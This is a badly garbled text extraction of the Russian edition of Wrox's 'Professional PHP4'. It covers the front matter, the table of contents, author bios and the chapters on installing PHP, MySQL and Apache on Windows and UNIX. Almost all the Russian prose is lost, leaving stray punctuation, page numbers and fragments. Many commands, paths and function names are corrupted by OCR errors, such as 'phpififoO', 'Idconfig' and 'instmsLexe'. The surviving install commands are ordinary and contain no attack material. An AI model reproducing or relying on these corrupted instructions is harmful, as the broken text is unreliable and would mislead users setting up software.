Вы находитесь на странице: 1из 1042

Professional

PHP4

LArgerich, W.Choi, J.Coggeshall,


K.Egervari, M.Geisler, Z.Greant, A. Hill,
C.Hubbard, J.Moore, D.O'DellJ.Parise, H.Rawat,
T.Sani, CScollo, D.Thomas, C.Ullman

A
wrox

niOGIMMMR TO

: |

_ , Q
- .
, ,
.

.


Microsoft Windows *. 2-
,


.
,
...

. , . , .

:
0




...

24.09 :
XX
19.09

PostoreSOL

13.09

C++ fc
CD-ROM)






.
I : i :\

" " -
. ,
,
,
. ...

I -: ! ,
1 " , cKSopo 2
,,.

, , ,
: 173,DO

" ",

-: ...


^ ( ._/
j English for Russians

: fe'J.OO
,
,
.
, ,,,


!(,..
1*

CTITHV



,
???

..................... ,
[14.10] Re;
. ., ..,
. , - ...
. . "

" .

......................................

.,
08.10 ^
:

- Books.Ru
1996 . ,
.

,

. -

,
.


.
!

Books.Ru -
/ (095) 945-8100
- (812) 324-5353

PHP

., ., .,
, ., ., .,
, ., .', ., .,
. , . , . , .

. , . , . , . , . ,
3. , . , . , . , . ', . ,
X. , . , . , . , .

,
2-
.

.
.

.
.
.
.
.
.

. .
, 2- . - . . - :
-, 2003. - 1048 ., .
ISBN 5-93286-049-9
? , , , . , , .
, UNIX, Windows
Mac OS X, cookies, FTP,
. , LDAP , , XML, ,
( MySQL PostgreSQL). ,
, ,

WML. -.
ISBN 5-93286-049-9
ISBN 1-861006-91-8 ()
-, 2003
Authorized translation of the English edition 2002 Wrox Press Ltd. This translation
is published and sold by permission of Wrox Press Ltd, the owner of all rights to publish and sell the same.
, . , , .
-. 199034, -, 16 , 7,
. (812) 324-5353, edit@symbol.ru. N 000054 25.12.98.
-
005-93, 2; 953000 - .
08.07.2003. 70xl001/ie . .
65,5 . . 2000 . N 989.

199034, -, 9 , 12.

19

23

1.

31

Cold Fusion
Perl
Java


2.


,

CGI?
- ?
MySQL, Apache
Windows
MySQL
Apache

Apache

31
32
32
32
32
33
33
33
34
34
35
35
35
37
37
39
40
40
40
42
42
43
43
45
49
50
53


Apache
UNIX-
MySQL
Apache


Apache
Mac OS X

MySQL .'
Apache


Apache

3.

54
56
57
58
63
66
69
69
74
75
75
78
80
81
81
82
82
84
85
86
86
87
89
90
90
92
92
93
93
94
95
95
96
97
98
99
101
101
106
109
. 109

4.
,

110
113
114
114
114
119
122
122
124
126
126
127
128
131
132
132
133
134
135
136
137

5. -
138
-
138
- . . . . 140

141

141

142

146

149

151

157

161
UML
163

165

168

170

171
-
176

181

6.

183




:







HTTP


'.

184
184
185
186
187
187
188
188
188
188
189
189
189
189
190
190
191
193
193
195
195
197
204
209
212

7. , ,

,






, Perl

213
213
214
216
217
220
230
231
234
236
239
. 244


8. cookies






URL

Cookies

cookies
, cookies
setcookie()
cookie
cookie
, cookies

9.



PUT
POST
,

10. FTP
FTP
FTP

245
246
246
248
248
248
251
257
258
258
259
259
262
263
267
268
270
272
273

274
274
275
276
276
277
278
278
279
280
281
283
284
285
285
288
288
310
311
312
312

10

FTP
FTP
- FTP







FTP

11.




mailQ
MIME
My_Smtp_Mime_Mail
Usenet
Usenet
NNTP
NNTP

NNTP

12. . . .

POP
IMAP
POP IMAP


Webmail

Webmail

313
314
323
331
335
335
335
336
336
336
346
349
350
351
352
354
355
358
377
388
389
390
391
393
396
397
404
413
413
415
416
416
418
424
425
425
428
431
438
443

Webmail

, Webmail

, Webmail
, -

11

444
452
454
458
460
463
480
480

13. TCP/IP


(TCP)
(UDP)


DNSnPHP
DNS


.

NIS
NIS
NIS
NIS
(SNMP)

SNMP
SNMP
SNMP

481
482
483
483
484
485
486
487
492
497
498
503
506
507
508
508
510
512
512
514
515
516
518

14. LDAP

LDAP
LDAP
LDAP
LDAP
LDAP
, LDAP
LDAP

520
520
521
521
523
523
525
527
528

12

LDAP
LDAP
LDAP

LDAP
API LDAP,
LDAP

15.
-




,

, HTML
, XML







16. WAP







534
536
537
540
541
541
551
568

569
569
571
571
576
576
576
577
577
581
582
583
583
583
583
583
583
585
586

587
587
588
590
590
591
591
592
593
595
595
596
596


WML

17. MySQL


MySQL

18. PostgreSQL
PostgreSQL


PostgreSQL

19. ODBC
ODBC
ODBC
SQL
ODBC Windows
ODBC UNIX
Apache
API PHP ODBC

13
597
597
598
600
664

665
. . : . 666
667
668
669
672
673
678
682
683
685
686
686
691
700
709
710
711
712
716
719
725
730
734
735
736
737
738
738
739
740
742
742
743

14



ODBC
MS SQL Server
MS Access
,


Unified ODBC
PEARDB
ADODB
Metabase

20. PHP- ,

GTK?
PHP-GTK?

Linux
PHP-GTK
Windows

NCSA
cron
AT


PHP-GTK
PHP-GTK
Hello World

21. PHP XML


XML
XML
XML
SML
XML SML

'.

746
747
750
751
751
753
753
755
756
756
757
757
758
763
764
764
765
765
765
766
767
769
769
772
773
774
775
777
777
779
782
791
791
792
793
794
796
797
797

15

PHP XML
XML
API XML
SAX
DOM
RAX
XSL XSLT
Sablotron
XSL
XSL

799
799
800
801
809
822
826
827
827
828
833

22.

835




GNU Gettext

xgettext

Gettext












localeconvQ

835
836
836
837
837
838
838
838
840
841
842
842
843
846
846
847
847
848
848
848
849
852
854
856
856
858
858
861

16





PHP Weather:

23.
?




Apache
User
Directory
Apache

CGI


MySQL
MySQL root

MySQL





Apache mod_ssl

register_globals
,
Cross-Site Scripting
include


Linux

864
865
868
868
873
874
878
879
880
880
881
881
882
884
884
885
886
886
886
887
890
891
891
892
893
895
895
897
899
900
900
903
903
905
906
907
908
909
909
909



Tripwire
Apache

MySQL

mod_ssl

-,

24.

17
909
909
910
910
910
910
910
911
911
911
912

912
913
914
914
918
918
919
921
924
934
941
942

25.

943

PDF

PDFlib
Macromedia Flash
Ming LibSWF
Ming
WAP WML
?
Pa6oTacHAWHAW

GD
GD
GD

944
944
945
950
950
951
958
960
961
965
965
966
967
971

18

26.

972


972

973

'.
973

974

974

977

978

978
Privilege
978
User
981

985

998
. . 999

999

1000


(Luis Argerich)
- Salutia,
,
- (UBA).
, 2.0, XML
, , -, - . .
, , .

(Wankyu Choi)
( -, -:-) /
NeoQuest Communications, Inc.,
(http://www.neoqst.com/) .
, , .

NeoBoard (http://www.neoboard.net/) - . , , Metallica Megadeth - -.
, Wrox , NeoQuest
(Yonsuk Song)
, .

(John Coggeshall)
- , - UNIX.
- ,
(Michigan Council for Cooperative Education).

20

C++, 4, , UNIX UNIX- , SQL. ,


, ,
UNIX.

(Ken Egervari)
- , (),
. - . , , , C++, Java, SQL, PHP,
DHTML .

Positive Edge, . Positive Edge, ,
- coffeecode.com, -.

(Martin Geisler)
. Windows 95,
Linux. : Linux
.
Linux .
- . - . , . .
, . ,
, , .
, (Aarhus), . .
- .

(Andrew Hill)
(Director of Technology Evangelism) OpenLink Software,
, ,
.
.
, , ODBC , .
XML, VSP, Mac OS X ,
UNIX- .

21

(Chris Hubbard)
- Wild Characters, - , , -. 1994 , -
HTML -.
.
, , .

(James Moore)
, Richard Huish College, Taunton
. .
, PHP-GTK.
Windows API .

' (Devon O'Dell)


- BugLogic, , -. 1996 , CGI- Perl. ,
, , Java Tel -. PHP-, , , , , SNMP .
(Margriet Homma),
(Ruben Bolink), (Shawn Lawyer) , DALNet IRC #php ,
.

(Jon Parise)
- , PEAR Horde.
-. .

(Harish Rawat)

Oracle. 9 . XML, Java . -

22

Professional PHP Programming, Wrox no Linux Java .

(Tarique Sani)
. ZX80, 19 . SANIsoft (http://www.sanisoft.com/), , - .
, , .

(Christopher Scollo)
, . .
, -, . vi. -,
.

(Deepak Thomas)
- Oracle Redwood Shores, . Professional PHP Programming,
Wrox no Linux Java
. Linux, J2EE
-.

(Chris Ullman)
,
Wrox , -
14.4 /, a Netscape Navigator 2.0
. HTML, -, Java Visual Basic , .
PC
, The Beemen
, Birmingham City .


-
, , . , - , .
. ,
, . ,
.
- -, :





- , ,
-.

?
, , . , , . -, -
.
, , . , , ,

24

( , , ,
).

?
24 2 (case studies). , , .
:

1 4. , .
1 4 . ,
, . .

2 UNIX, Windows Mac OS X.


- Apache
MySQL.

2 . ,
- . .

3 - , , , , , .

4
, .

5 -
- . -, , UML
.

3 , - , FTP, ,
, .

6 , ,
.

25

7 , , Forms .
8
cookies.
9 . ,
.
10 FTP, FTP,
-. , : FTP - FTP.
11 Usenet,
SMTP NNTP.
12 . , (POP IMAP). , , , -, , Hotmail.
13
, TCP/IP.
14 LDAP - .
, LDAP API.
4 , XML.
15
. ,
API, .
, HTML, XML.
16 ,
, . ( WML). WAP http://p2p.wrox.com/content/phpref/.
17 , , .

26

MySQL, ,
MySQL. ,
.
18 , PostgreSQL
PostgreSQL. , PostgreSQL
17
. PostgreSQL http://p2p.wrox.com/content/phpref/.
19 ODBC , , ( ), ODBC .
20 . PHP-GTK,
, - GUI. GTK , .
21 ,
XML HTML. API PHP SAX, DOM PRAX, XML, Sablotron XSL .
5 , , .
.
22 . ,
, ,
.
23 - ,
.
24 , , PHP- .
25 . PDFlib PDF, Ming Shockwave
Flash, HAWHAW
GD , .
26 , .

27

CVS (CVS snapshot) 4.0.5 4.0.6.


, API; , , CVS :
-
-
-
D -
http://p2p.wrox.com/
content/phpref/.
.



-. IIS Apache Windows
Apache Xitami .
, . Internet Explorer, Netscape Navigator, .
, . ;
MySQL. PostgreSQL ODBC .

, Notepad, vi Emacs. , , -.


, . :
, , .
.

:

, : <Ctrl>+<A>

28

: echo(s)
: Menu
URL : http://someurl.com/
.
:
int phpinfo([int what])
:
, , .
,
.


, : , , ,
. feedback@wrox.com. , ,
.


Wrox http://www.wrox.com/, - . Download Code (. 1).
|1] D:&|http://w*wwrox com/dynamicytiooks/find.aspx

. 1.

, , WinZip. , WinZip PKUnzip. \Chapter. ,


(WinZip, PKUnzip . .) Use Folder Names.

29

Errata
, . . ,
- . , . support@wrox.com, - -
.
- ,
http://www.wrox.com/
. Book Errata,
.


, - , , ,
support@wrox.com, ISBN. :

Subject - , ISBN
,

- ,
. , . , ,
:
- . - -, .
- , .
, . -.
- , , , . , , .
Wrox . , .

30

Wrox , .
, , http://p2p.wrox.com/.

p2p.wrox.com
, 2.
programmer to programmer
, - . , Wrox , . p2p.wrox.com , , .
, :

http://p2p.wrox.com/
,
,


,
,

1
PHP
, , , : (
- : Hypertext Preprocessor) (open source) ,
-. , -,
.

?
:
.
, , , ,
Java, COM, XML, CORBA, WDDX Macromedia Flash.
: UNIX ( ), Win32
(NT/95/98/2000), QNX, MacOS (WebTen), OSX, OS/2 BeOS.
: Apache (UNIX, Win32), CGI/FastCGI, thttpd, fhttpd, phttpd, ISAPI (IIS, Zeus), NSAPI (Netscape iPlanet),
Java, AOLServer Roxen/Caudium.
.
, .
.
.
.

32

1. PHP

.
.
, . , C++,
Perl .
.


, .


, ,
,
http://conf.php.net/ Brief History (
) PHP/FI 2 http://php.net/docs.php.
(Rasmus Lerdorf) 1994 . 1 1995
. 2, 3 4 1997 2000 , .


15%
, ( - Netcraft Survey), 20% . , ,
.
7 (), 10 (), 40 ( ), 20
. ,
.


4 , , Professional PHP
Programming Wrox (ISBN 1-861002-96-3),
1999 .1 , 1

., ., ., ., . . - : -, 2001 .

PHP

33

, ,
.
, . . ,
, , . , ,
, , - 4.
Zend .
http://www.zend.com/zend/whats-new.php
, 4.


4 , . , , 4.
.
Zend Technologies Ltd Zend Engine, , ,
. , http://www.zend.com/zend/future.php
, Zend 2.0
http://www.zend.com/zend/zengine/.



, ,
, , .

ASP
ASP (Active Server Pages) Microsoft. , ASP - , Visual Basic . , Visual Basic, ASP.
2 . 989

34

1. PHP

? -, ASP , .
ASP , .
ASP
, -
NT .
, , , . -, ASP
GNU, open source.
Microsoft, ASP
Internet Information Server (IIS), - ASP - 32- Windows, . ASP UNIX (, ChilliSoft ASP) ASP
-, . asp2php
(http://asp2php.naken.cc/), ASP .
ASP.NET . ASP . .NET/COM
.
.

Cold Fusion
, Cold Fusion
Win32, Solaris, Linux HP/UX. , Cold Fusion
(IDE)
. .

Perl
, Perl, Perl ( ). Perl
Perl , .
Perl ( 1980-) , . . HTML , Perl, .

35

Java
PHP , Java, -, . , 5-
, - , .
, Java , Java Enterprise
Oracle . , ,
, Java. Zend 2.O.


GPL (General Public License),
, .
4 (http://download.php.net/
license/2_02.txt).
Zend QPL
(Q Public License). http://www.zend.com/license/
ZendLlcense/. , -
BSD,
.


. , :

(http://php.net/)
- . . naphp.net, - .
, .

(http://conf.php.net/)
, .

PHP4WIN (http://www.php4wln.com/)
PHP4Win -
Windows.

36

1. PHP

(http://php.net/support.php)
.
. .
(http://snaps.php.net/)
. . , ,
, .
-
on-line CVS. CVS , ,
. CVS http://
www.cvshome.org/.
:
http://cvs.php.net/ CVS-

http://bonsai.php.net/
http://lxr.php.net/ ,
, http://cvs.php.net/
PHPBuilder (http://www.phpbuilder.com/)
PHPBuilder - , .
.
Apache (http://www.apache.org/)
- .
, - Apache,
.
MySQL (http://www.mysql.com/)
MySQL . MySQL Free Public License.
MySQL.
PostgreSQL (http://www.postgreSQL.org/)
PostgreSQL,
PostgreSQL,
, , PostgreSQL.


UNIX- , Windows MacOS.
Apache MySQL.
, .


- , ,
,
. , p h p i n f o ( ), , .
-, ,
HTML, :
<?php
phpinfo();

HTML . p h p i n f o Q . HTML - <html> <body>, ,


.
p h p i n f o . p h p
. Notepad . txt, : p h p i n f o . php. txt . EditPlus http://www.editplus.com/
Notepad, , . p h p i n f o . php
-.

38

2.

http://localhost/phpinfo.php
, .
p h p i n f o ( ) , :
, ,
, View Source p h p i n f o . php
Error 404: Page Missing ( )
Error 500: Internal Server Error ( )
, , .
. php, - . ,
phpinfo. php, URL . URL, . , , , , . .
, , , , - :
- 4.0.5 - http://
php.net/downloads.php,
MySQL - 3.23. - http://
www.mysql.com/
Find.
( ), ,
. , , .
, .
, -, MySQL, . http://hosts.php.net/ 2000.
,
.
- , - , , , - MySQL. , -
MySQL , , . , MySQL, Apache . ISP , .

39


, , .
. - -
. .
, , ,
, MySQL.
,
, http://www.php.net/manual/en/introwhatcando.php. ,
.
. , , .
EXPERIMENTAL
.
. EXPERIMENTAL , , .
-, . ,
, .
,
. .
, ,
,
. - , .
UNIX- RPM
, . , , -devel-.
,
.
,
MySQL, , ( , ), (http://p2p.wrox.com/content/phpref/).

40

2.

, :
, , .

,
UNIX- Windows:
, RPM (ports), .
,
. , .


, ,
. ,
, , , UNIX-
. Windows,
,
CGI (Common Gateway Interface), .
UNIX- ,
. CGI
, , " .
, ,
.

CGI?
, -
CGI. -
. CGI -. ,
URL, - , , .
, , ,
, CGI, . ,
- , -

41

CGI. ,
CGI ,
. , CGI
, , , -.
,
CGI, , , . , -
CGI .
, .
CGI -, CGI ( ).
-.

-, UNIX

Apache
thttpd
fhttpd
Zeus
Roxen
PiSWeb

-, Windows
Microsoft IIS 4.0, 5.0*
AOLServer
WebSphere
Netscape web server
iPlanet ( Sun NetScape)
ISAPI-
ISAPI- -, -.
CGI-PHP.
ISAPI. . Windows ISAPI, DLL
,
.

42

2.

ISAPI - CGI Windows.


- Windows
, PHP CGI .
CGI. , CGI , . ,
CGI Windows
- UNIX .

- ?
- .
, -.
, , , Apache. , ,
. , Windows UNIX , , .
, , . Windows CGI
. UNIX-
.

MySQL, Apache
, CGI- -, ,
. Windows (Install Wizard) , , .

, .
UNIX-
Apache . RPM,
, ,
, .
RPM , . , MySQL, RPM
. 107, , RPM ,
, .

Windows

43

, RPM , . RPM, , , .
.

Windows
PHP, Apache MySQL, Windows:
Windows 9x MSI:
ftp://ftp.microsoft.com/developr/platformsdk/oct2000/msi/win95/instmsi.exe
Windows 95 Windows Sockets:
http://www.microsoft.com/windows/downloads/bin/W95ws2setup.exe
NT MSI:
ftp://ftp.microsoft.com/developr/platformsdk/oct2000/msi/winnt/x86/instmsLexe
:
, MySQL,
, Apache, ,
-
, ,
Apache

MySQL

mysql.com/downloads/.

MySQL

Windows

http://

WinZip,
http://www.winzip.com/.

setup Windows.
ReadMe , MySQL. -
, , . Typical, .

44

2.

Windows 9x/ME mysqld.exe


, Windows NT/2000 .
MySQL MS DOS , :
mysqlshow

mysqladmin CREATE test


mysql test
, mysqlshow,
. , mysqladmin CREATE test,
test. , mysql,
MySQL , SQL- .
, MySQL,
:
mysql>

test , test. SQL:


CREATE TABLE foo (foo.id INT(11) AUTQ_INCREMENT, comment TEXT);
DESCRIBE foo;
INSERT INTO foo (comment) VALUES ('Hello World');
SELECT * FROM foo;
DELETE FROM foo;

DROP TABLE foo;


:
mysql>

, SQL . , SQL . , .
:
, ' . :
" . ,
, .
MySQL,
\q-

Windows

45

MySQL, MySQL
, MySQL root
. , MySQL,
, .
23.

?
,
, , , MySQL
. mysqlshow (
), , , MySQL\bin\,
% autoexec.bat,
MySQL, .
MySQL
root, MySQL, , :
mysql -u root -p test

- MySQL, a -p
MySQL .
- , .
MySQL ,
MS DOS , , .
MySQL MySQL\data\. .err.

Apache
Apache
http://www.apache.org/dist/httpd/
Next
, (. . 2.1).
-, Network Domain
Server Name . -
, Network Domain
Server Name localhost 127.0.0.1. Administrator's Email Address
,
.
-
Apache , . , - DNS , IP.

2.

46

Server Information
Please enter your server's information.
Network Domain (e.g. somenet, com)

~~~

Server Name (e ,g. www. somenet. com);

Administrator's Email Address (e.g. webmester@somenet.com);

Instal Apache HTTP Serve? programs and shortcuts to:


" Run as a service for fiff Users -- Recommended
i'"-'-(" Run when started manualy, only for (Matthew Moocte)

<Bck

t|ext>

Cancel

. 2.1.

, Apache: . Windows 9 ,
Windows 9x/ME . Windows NT/2000 , -
. , ,
, , ,
. .
Windows 9x/ME
Apache ,
Apache. Apache Windows 9/, .
.
,
, ,
Documentation Source Code.
http://apa.che.org/'. C : \ P r o g r a m Files\Apache Group\,
. , Apache, , ,
.
, (
Windows 9/ - ), - Apache.
Start.

47

Windows

.
Apache http:/ /localhost/
,
- Apache (. 2.2):
-f Test Page for Apache Installation - Netscape

*j fie Edit Vjew Search go Bookmarks tasks 1

If you can see this, it means that the installation of the Apache web server software on this system was successful.
You may now add content to this directory and replace this page.

Seeing this instead of the website you expected?


This page is here because the site administrator has changed the configuration of this web server. Please contact the
person responsible for maintaining this server with questions. The Apache Software Foundation, which wrote
the web server software this site administrator is using, has nothing to do with maintaining this site and cannot help
resolve configuration issues.
:i

c::::::::::::::::::::::::::::::~
;

: The Apache documentation has been included with this distribution.

i You are free to use the image below on an Apache-powered web server. Thanks for using Apache!

., * =,)<:
. 2.2. , - Apache

, -,
. , , e-mail , , ?
HTML .
C:\Program Files\Apache Group\Apache\htdocs\.
index, html, HTML .
, - , , httpd. conf, : \Prog ram Files\Apache Group\Apache\conf\httpd. conf:
DocumeritRoot "C:/Apache/titdocs"

, httpd.conf , -

48

2.

500 Internal Server Error. , , Apache. He


httpd.conf , . '
Apache ,
httpd.conf htdocs. , , DocumentRoot htt p d . conf, <Directory. . .>.
DocumentRoot httpd. conf . < V i r t u a l H o s t . . . > DocumentRoot,
.
, , DocumentRoot.
-, h t t p d . conf .
Options Indexes,
index.html, Apache .
http://localhost/ , Apache.
h t t p d . conf ,
. h t t p d . c o n f - - . , - . httpd. conf Apache , .


MySQL, . , httpd. conf ,
h t t p d . c o n f ,
. , - , , .
h t t p d . c o n f . , , ,
, . Professional Apache
Wrox (ISBN 1-861003-02-1).1
URL Apache . Apache logs, . .
. Apache . - . . - : , 2001
(ISBN 5-85582-137-4).

Windows

49

C:\Program Files\Apache Group\Apache\logs\.


error_log access_log. error_log, - , .
, .
_1 access_log
, Apache , Apache
Apache, . MS DOS, Apache
, .
localhost Server not found ,
http://localhost.com/ URL, http://127.0.0.1/. 127.0.0.1 , a localhost - ,
hosts, sam Windows hosts ( ). :
127.0.0.1

localhost

, Windows, localhost
127.0.0.1 IP 127.0.0.1 .
localhost, hosts.


-:
Microsoft PWS Windows 9 ME
Microsoft PWS Windows NT workstation
Microsoft IIS 3
Microsoft IIS 4
Apache Windows
Xitami Windows
Windows http://php.net/downloads.php.
- Apache MySQL,
. ,
setup. - Standard Advanced. Standard - . Advanced. , Back, Cancel .
, , , -

2.

50

. : \php\, .
, . SMTP From: .
, SMTP , ,
From:, . SMTP From:, /, localhost
SMTP From:.
Windows SMTP , localhost ,
SMTP. , , , , .
, localhost SMTP
Email. .
, ,
. , Apache.
-, ,
, , : -, ,
Perl. php. exe , Perl, php perl.
, , . Next, .

httpd. conf Apache, .
, Apache .
,
, . Apache.

Apache
Apache CGI Windows,
Windows.
,
CGI, , . , -

Windows

51

. ,
-.
, Apache . PHP, a
C:\php\, php4ts. dll. Windows / : \Windows\System\, Windows NT/2000 - C:\WinNT\System32\.
h t t p d . c o n f , C : \ P r o g r a m Files\Apache Group\Apache\conf\. ,
.
. Find
ScriptAlias. <IfModule
mod_alias.c> </IfModule>. ScriptAlias , IfModule .
ScriptAlias :
ScriptAlias /php/ "C:/php/"

Apache ,
, ,
httpd.conf . . httpd. conf Windows (\), /.
ScriptAlias , <Directory.. .>, DocumentRoot. Apache.
httpd. conf AddType.
4.. ( #) :
AddType application/x-httpd-php .php

Apache , , . php,
MIME- a p p l i c a t i o n / x - h t t p d - p h p - ,
GIF MIME- image/gif, JPEG image/
jpg. AddType , Directory. . . >, .
, h t t p d . c o n f A c t i o n . , ,
Format:.
Action :
Action applicatioh/x-httpd-php "/php/php.exe"

Apache , , MIME- application/x-httpd-php AddType, php.exe, , "/ /"> ScriptAlias.

52

2.

, Action httpd.conf ,
Directory, . ,
. httpd. conf, ,
Apache, .
, , . php3 ( , ), , htm . html.
HTML, . ,
HTML -. . php . h t m . h t m l .
AddType :
AddType application/x-httpd-php .php .htm .html ,php3
, , , , . , . . URL , . .
.
, httpd. conf Apache.


Apache , , . , :
S c r i p t A l i a s , .
, , /, \.
MIME- application/x-httpd-php AddType Action. , .
p h p . .
phpAts. dll Windows.
Apache , Apache. , , MS DOS.
, php4ts.dll , php.exe. Windows
, ,
, , , ,
p h p . .

Windows

53


h t t p d . c o n f DocumentRoot.
<Directory . . . >, , DocumentRoot.
, , , C:\Prograrn Files\Apache Group\Apache\htdocs\.
DocumentRoot , . index, html,
.
phpinfo. php
:
<?php
phpififoO;

DocumentRoot. http://
localhost/phpinfo.php.

(. 2.3):

Ef.uMDate.
SewerAPI
Virtual Dlrecttiy Support
Configuration File ftih|i.lm) Path
Thread Safety
This program makes use of the Zet

>

,: :~t-: t

D<.

Puc. 2.3.


404 Document not found
, , , phpinfo. php ,
URL. 500 Internal Server Error
httpd. conf.

54

2.

DocumentRoot, , directory. . . > . , Apache . Apache, Apache.


, View Source.
<?php phpinf (); ?>, , Apache
, - . , ScriptAlias/AddType/Action, httpd.
conf, . ,
Apache. Apache h t t p d . conf , . , httpd. conf .
View Source , Apache httpd. conf. , Apache.
, , httpd .conf, , Apache. Apache , - , , .
, httpd.conf,
:
MS DOS C:\php\ ,
. :
php C:\Program Files\Apache Group\Apache\htdocs\phpinfo.php

, , phpinf . php
.
php. , phpinf . php. PHP HTML. HTML, , php.exe , , Apache . httpd. conf.
p h p . , a Apache
, ,
.


php. ini.
p h p i n f o . php , p h p . i n i . , phpinfo. php php. ini
.
p h p . ini , p h p . ini-dist php. ini , p h p i n f o .

Windows

55

p h p . ini ,
.
, http://php.net/, ,
.
-, ,
e r r o r _ r e p o r t i n g ,
E_ALL. Error handling and logging :

error_reporting = E_ALL & ~E_NOTICE ;show all errors, except for notices

:
error_report:ing = E_ALL ; show all errors

e r r o r _ r e p o r t i n g . ,
:
$name = "Rich";
print($nam);

$nam "".
. e r r o r _ r e p o r t i n g E_ALL, , . , , ,
.
. , error_reporting E_ALL error_reporting E_ALL.
p h p . ini Paths and Directories.
extension_dir :
extension_dir = "C:/Windows/System32/"

, Windows.
php. ini Dynamic Extensions.
; exterision=php_XXX. dll

,
.
(php_XXX, dll)
:
MySQL
PostgreSQL

2.

56

Interbase
ODBC
FTP
Calendar
BCMath
COM
PCRE
Sessions
WDDX
XML
, . php_XXX.dll
, . ,
, .
, , ,
. .
.
, . ,
, , ,
.
DLL .
URL. , .
, :
,
( MySQL)
extension_di
B3TOMextension_dir DLL, p h p . ini
,
Apache, , , php. ini Apache. CGI php. ini -
- , .
MySQL .

Apache
, Apache , :

UNIX-

57

h t t p d . c o n f CGI,
php. ini.
Apache. Action h t t p d . c o n f ,
CGI.
, p h p . i n i ,
.
Apache,
, .
, .
,- . p h p i n f o Q
:
.
Apache p h p . i n i .
. Apache
, . , .
,

.

UNIX-
, CGI.
, UNIX. NuSphere http://www.nusphere.com/.
PHP/Apache/MySQL/Perl .
.
. , MySQL - ,
, . , Apache, , -. , ,
Apache.
Apache
CGI,
(CGI), -
"" -
, .

2.

58

MySQL
MySQL - , , ,
, . MySQL http://
www.mysql.com/downloads/TH m y s l - 3 . x x . x x . t a r . g z
/usr/local/src.

MySQL
, MySQL , MySQL ,
MySQL .

MySQL .
UNIX-
,
. MySQL , , MySQL :
groupadd mysql
useradd -g mysql mysql
mysql,
groupadd. , useradd, -g, (mysql), a
, (mysql). UNIX mysql
mysql. useradd mysql,
, mysql .
UNIX- add use r
addg roup, use radd use rg roup. .
UNIX.
man useradd man adduser, groupadd/addgroup.

MySQL
, MySQL, MySQL. configure, MySQL (/us r/
local/mysql-..). c o n f i g u r e MySQL, . MySQL,
, MySQL:

UNIX-

59

cd /usr/local/src/
tar -xzf mysql-..xx.tar.gz
cd /usr/local/src/mysql-3.xx.xx

, /usr/local/src/mysql-3. x x . /, :
In -s /usr/local/src/mysql-3.xx.xx mysql

mysql,
. Windows
Mac OS. /usr/local/src/mysql, .
/usr/local/src/mysql ,
MySQL,
. configure:
./configure --prefix=/usr/local/mysql
MySQL ,
MySQL /usr/local/mysql.
, .
,
MySQL. MySQL ,
.
MySQL, , ,
(fail-safe roll-over), c o n f i g u r e make,
. MySQL c o n f i g u r e UNIX- . c o n f i g u r e , . ,
.

MySQL
c o n f i g u r e ,
MySQL make:
make

MySQL . , .
, :
make install

make make install , , MySQL ,

60

2.

.
rm config. cache:
rm config.cache
,/configure --prefix=/usr/local/mysql --OTHER-OPTIONS
configure
--enable-shared --disable-shared MySQL . , Linux
. Linux.
, :
updatedb
locate libmysqlclient.so

, ,
.
libmysqlclient. so .
l i b m y s q l c l i e n t . so, ,
, , - :
Is -als /////libmysqlclient.so

,
/etc/Id.so.conf ( libmysqlclient . so), Idconf ig.
, locate libmysqlclient. so :
/usr/local/ijiysql/lib/libmysqlclient.so
, , :
pico /etc/Id.so.conf
:
/usr/local/mysql/lib
, :
Idconfig

Idconfig -v verbose,
. , , libmysqlclient. so,
- .

UNIX-

61

grep mysql,
:
Idconfig -p | grep mysql
, Idconfig Linux.1

MySQL
, , . :
,/scripts/mysql_install_db
MySQL , MySQL , MySQL
.
MySQL (/usr/local/mysql) , MySQL
(/usr/local/mysql/data), chown. , root.
(mysql):
chown -R root /user/local/mysql
chown -R mysql /usr/local/mysql/data
chgrp -R mysql /usr/local/mysq/data
, InnoDB MySQL, :
support-files/my-medium.cnf /etc/my.cnf
/etc/my, c n f .
InnoDB, /etc/my, c n f ,
InnoDB.

MySQL
, MySQL. MySQL safe_mysqld, /bin/ MySQL. ( &),
--user .
safe_inysqld --user=mysqluser &
1

FreeBSD.
MySQL ports, . . . .

62

2.

MySQL , , MySQL . MySQL . mysql. server (


./support-files) ,
.

MySQL
, MySQL , , :
mysqladmin version
mysqlshow
,
MySQL. mysql, MySQL, ,
, . ,
test, .
test , :
mysqladmin CREATE test

, test , :
mysql -u root test

mysql,
SQL MySQL.
MySQL root test.
:
mysql>
SQL, :
CREATE TABLE foo (foo_id INT(11) AUTO_INCREMENT, comment TEXT);
DESCRIBE foo;
INSERT INTO foo (comment) VALUES ('Hello World');
SELECT * FROM foo;
DELETE FROM foo;
DROP TABLE foo;
\q MySQL.

MySQL
MySQL MySQL root, . root MySQL root , . MySQL -

UNIX-

63

root
MySQL. , , , MySQL root,
, ( . 23).
MySQL root.

, - MySQL root,
root . ,
, .
/ root MySQL .
MySQL .


, , tar Solaris,
. configure / make,
MySQL http://mysql.com/ .
Windows.

Apache
http://apache.org/ /usr/local/src.
Apache 2.0, , 1.3.x, . , Apache 2.0
.
:
tar -xzf apache_1.x.xx.xx.tar.gz
:
cd apache_1.x.xx.xx

./configure --prefix=/usr/local/apache/ \
--enable-shared=max \
--enable-module=most

\ . \
.
. :
make

make install

Apache :
/usr/local/apache/bin/apachectl start

64

2.


-:
lynx http://localhost/

X Window lynx
, Konquerer Netscape.
localhost , 127.0.0.1. 127.0.0.1
. 127.0.0.1 , a localhost - , /etc/hosts :
127.0.0.1 localhost
, Apache, :
ps auxwww | grep httpd

httpd. : Apache
. , Apache . Apache ,
. Apache , , httpd. conf (. ). , , -,
, .
Apache /
:
/usr/local/apache/bin/apachectl restart

Apache
Apache httpd. conf, /usr/local/apache/conf /.

. DocumentRoot, -, , /us /
local/apache/htdocs/, <Directo ry . . . >. httpd. conf, Apache.
,
Apache. , , - - , Apache.
Apache , , ,
. -

UNIX-

65

/etc/. d/init.d/ apache,


:
/usr/local/apache/bin/apachectl /etc/re.d/init. d/apache
chmod 755 /etc/re.d/init.d/apache

, ,
. /etc/re. d/. d/ :
In -s . ./wit.d/apache S99apache

,
6 . 3,
1,
.
. d. , S, . , Apache , S99, .
Linux, Linux, re. d, init. d . d ( X 1 6) ,
Linux .


configure make -
Apache , . , , Apache.
configure, make make install , Apache , error_log,
B/usr/local/apache/logs/error_log.
Apache , , :
tail /var/log/messages

tail 10 , /var/log/messages .
- , Apache.
Apache , , :
tail -n 20 /var/log/messages

20, 10 . | grep apache, , apache.


3 . 989

66

2.

,
/etc/.d.

PHP
- , ,
. http://php.net/ /usr/local/src. :
tar -xzf p h p - 4 . x . x . t a r . g z
:
cd php-4.x.x

, , ./configure.
